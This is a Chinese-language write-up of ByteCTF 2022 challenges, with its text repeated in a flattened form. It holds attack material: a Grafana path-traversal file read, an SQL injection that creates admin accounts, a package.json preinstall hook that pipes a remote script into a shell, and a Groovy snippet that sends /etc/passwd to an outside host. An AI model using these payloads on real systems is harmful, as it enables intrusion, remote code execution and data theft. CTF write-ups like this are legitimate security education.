ByteCTF2022-Writeup
字数 1053 2025-08-06 18:07:44

ByteCTF 2022 Writeup 详细解析

0x01 WEB 部分

easy_grafana 漏洞利用

漏洞背景

  • Grafana 8.2.6版本存在任意文件读取漏洞
  • 需要绕过路径遍历限制

利用步骤

  1. 文件读取

    /public/plugins/text/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd
    
  2. 读取关键文件

    • 数据库文件:
      /public/plugins/alertlist/#/../../../../../../../../../../../var/lib/grafana/grafana.db
      
    • 配置文件:
      /etc/grafana/grafana.ini
      
  3. 关键发现

    • 在数据库中发现加密的MySQL凭据
    • grafana.ini中的secret_key可用于解密
  4. 解密过程

    • 使用AES-256 CFB模式解密
    • 解密脚本(Go语言):
      package main
      import (
          "bytes"
          "crypto/aes"
          "crypto/cipher"
          "crypto/rand"
          "crypto/sha256"
          "encoding/base64"
          "errors"
          "fmt"
          "io"
          "golang.org/x/crypto/pbkdf2"
      )
      // ...(完整代码见原文)
      

ctf_cloud 漏洞利用

漏洞点

  1. SQL注入

    • 注册功能存在insert注入
    • 利用payload:
      1',1),('admin','123',1);--
      
    • 可创建多个admin用户
  2. npm preinstall RCE

    • 上传恶意package.json:
      {
          "name": "userapp",
          "version": "0.0.1",
          "scripts": {
              "preinstall": "bash -c 'curl https://your-shell.com/vps:port | sh'"
          }
      }
      
    • 配置依赖:
      {"dependencies":{"v1nd":"file:./public/uploads/"}}
      
    • 执行npm install触发RCE

0x02 MISC 部分

signin

  • 队伍页面抓包获取ID
  • 重放请求获取flag:ByteCTF{Hop3_Y0u_hav3_fun!_30bed8ac}

survey

  • 签退题,完成问卷即可

easy_groovy

  • Groovy语言命令执行限制绕过
  • 文件读取并带外传输:
    def file = new File("/etc/passwd")
    def arr = file as String[]
    def res1 = new URL('https://asdwww.free.beeceptor.com?a=' + arr[0]).text
    

find it

  1. 使用sysdig恢复日志:
    sysdig -r filename > find.log
    
  2. 使用foremost提取二维码:
    foremost find.scap
    
  3. 在日志中搜索}或十六进制字符获取完整flag

0x03 Reverse 部分

It is android

  • 关键逻辑在native层
  • 手搓ELF解释器获取libc的malloc函数
  • SMC(Self-Modifying Code)技术
  • 异或解密字符串比较:
    from libnum import n2s
    v0 = 0x473D293F ^ 0x710D4C0B
    v1 = 0x2A189108 ^ 522822193
    v = [v0, v1]+[1681405286, 909141605, 1633772134, 1647392354]
    
    print("ByteCTF{", end='')
    for i in v:
        print(n2s(i).decode(), end='')
    print("}")
    

0x04 Mobile 部分

Bronze Droid

漏洞点

  • Intent URI权限操纵漏洞(CVE-2021-41256类似)
  • 错误设置返回值未移除Intent标志位

利用代码

public void poc() {
    Intent i = new Intent();
    i.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity");
    i.setAction("ACTION_SHARET_TO_ME");
    i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
    i.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));
    startActivityForResult(i, 5);
}

正确修复

intent.removeFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.removeFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

关键知识点总结

  1. Grafana漏洞利用链

    • 文件读取 → 获取数据库 → 解密凭据
  2. npm preinstall RCE

    • 利用package.json的scripts字段
    • 本地文件依赖触发
  3. Android Intent权限问题

    • FLAG_GRANT权限标志位未清除
    • Content Provider文件读取
  4. 逆向工程技巧

    • SMC代码分析
    • 异或解密字符串
  5. MISC取证

    • sysdig日志分析
    • 文件恢复技术

以上为ByteCTF 2022关键题目的详细解析,涵盖了Web、MISC、Reverse和Mobile等多个领域的安全技术点。

ByteCTF 2022 Writeup 详细解析 0x01 WEB 部分 easy_ grafana 漏洞利用 漏洞背景 : Grafana 8.2.6版本存在任意文件读取漏洞 需要绕过路径遍历限制 利用步骤 : 文件读取 : 读取关键文件 : 数据库文件: 配置文件: 关键发现 : 在数据库中发现加密的MySQL凭据 grafana.ini 中的 secret_key 可用于解密 解密过程 : 使用AES-256 CFB模式解密 解密脚本(Go语言): ctf_ cloud 漏洞利用 漏洞点 : SQL注入 : 注册功能存在insert注入 利用payload: 可创建多个admin用户 npm preinstall RCE : 上传恶意package.json: 配置依赖: 执行 npm install 触发RCE 0x02 MISC 部分 signin 队伍页面抓包获取ID 重放请求获取flag: ByteCTF{Hop3_Y0u_hav3_fun!_30bed8ac} survey 签退题,完成问卷即可 easy_ groovy Groovy语言命令执行限制绕过 文件读取并带外传输: find it 使用sysdig恢复日志: 使用foremost提取二维码: 在日志中搜索 } 或十六进制字符获取完整flag 0x03 Reverse 部分 It is android 关键逻辑在native层 手搓ELF解释器获取libc的malloc函数 SMC(Self-Modifying Code)技术 异或解密字符串比较: 0x04 Mobile 部分 Bronze Droid 漏洞点 : Intent URI权限操纵漏洞(CVE-2021-41256类似) 错误设置返回值未移除Intent标志位 利用代码 : 正确修复 : 关键知识点总结 Grafana漏洞利用链 : 文件读取 → 获取数据库 → 解密凭据 npm preinstall RCE : 利用package.json的scripts字段 本地文件依赖触发 Android Intent权限问题 : FLAG_ GRANT权限标志位未清除 Content Provider文件读取 逆向工程技巧 : SMC代码分析 异或解密字符串 MISC取证 : sysdig日志分析 文件恢复技术 以上为ByteCTF 2022关键题目的详细解析,涵盖了Web、MISC、Reverse和Mobile等多个领域的安全技术点。